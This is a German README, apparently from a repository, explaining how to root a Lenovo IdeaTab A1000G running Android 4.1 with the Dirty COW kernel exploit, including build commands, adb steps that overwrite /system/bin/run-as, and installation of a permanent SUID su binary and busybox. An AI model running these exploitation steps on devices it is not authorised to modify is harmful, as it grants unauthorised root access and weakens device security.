
[KI-gestützte] Root-Methode für Lenovo IdeaTab A1000G (MT8317, Kernel 3.4.0, Android 4.1) über CVE-2016-5195 (Dirty COW)
Hinweis: Diese Dokumentation und der Exploit-Code wurden mit KI-Unterstützung (Kiro) erstellt. Vor der Verwendung verifizieren — KI kann und macht Fehler.
| Feld | Wert |
|---|---|
| Modell | Lenovo IdeaTab A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | Dual-core Cortex-A9 @ 1.2GHz |
| Kernel | Linux 3.4.0 |
| Build | A1000G_A412_01_09_130907_2G |
| Android | 4.1.2 (Jelly Bean) |
~/Android/Sdk/ndk/busybox-armv7l statische Binärdatei (busybox.net/downloads/binaries/1.21.1/)Race Condition im mmap/write-Pfad des Kernels. Betrifft Kernel 2.6.22–4.8.3.
Ziel: /system/bin/run-as (SUID-Root, 9448 Bytes).
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!
# Enter root shell first
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
adb shell
/system/bin/run-as # drops to root shell (#)
id # uid=0(root)
adb shell /system/bin/su -c cmdfunktioniert NICHT — ADB hebt setuid auf. Zuerst muss eine interaktive Shell geöffnet werden.
/system/bin/run-as → überschrieben (ursprüngliche run-as-Funktionalität defekt)/system/bin/su → dauerhafte SUID-su-Binärdatei/system/bin/busybox → busybox 1.21.1| Methode | Grund |
|---|---|
| CVE-2013-1763 sock_diag | Nicht in den Kernel einkompiliert |
| CVE-2013-6282 get_user/put_user | ldrt/strt auf Cortex-A9 blockiert |
| CVE-2014-3153 Towelroot | Kernel-Panic — sendmmsg-iovstack-Offset für MTK falsch |
| Framaroot AdbActivity | NullPointerException, inkompatibel |
| /proc/self/mem overwrite | Kernel-Adressen aus dem Userspace nicht zugänglich |
.
├── README.md
├── root.sh # automated root script
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # main() wrapper
└── su2_src.c # su binary source
Vorkompilierte Binärdateien sind nicht enthalten — aus dem Quellcode mit den obigen Schritten kompilieren.
A412_01_09_130907, da beide dasselbe virtuelle Kernel-Layout verwenden.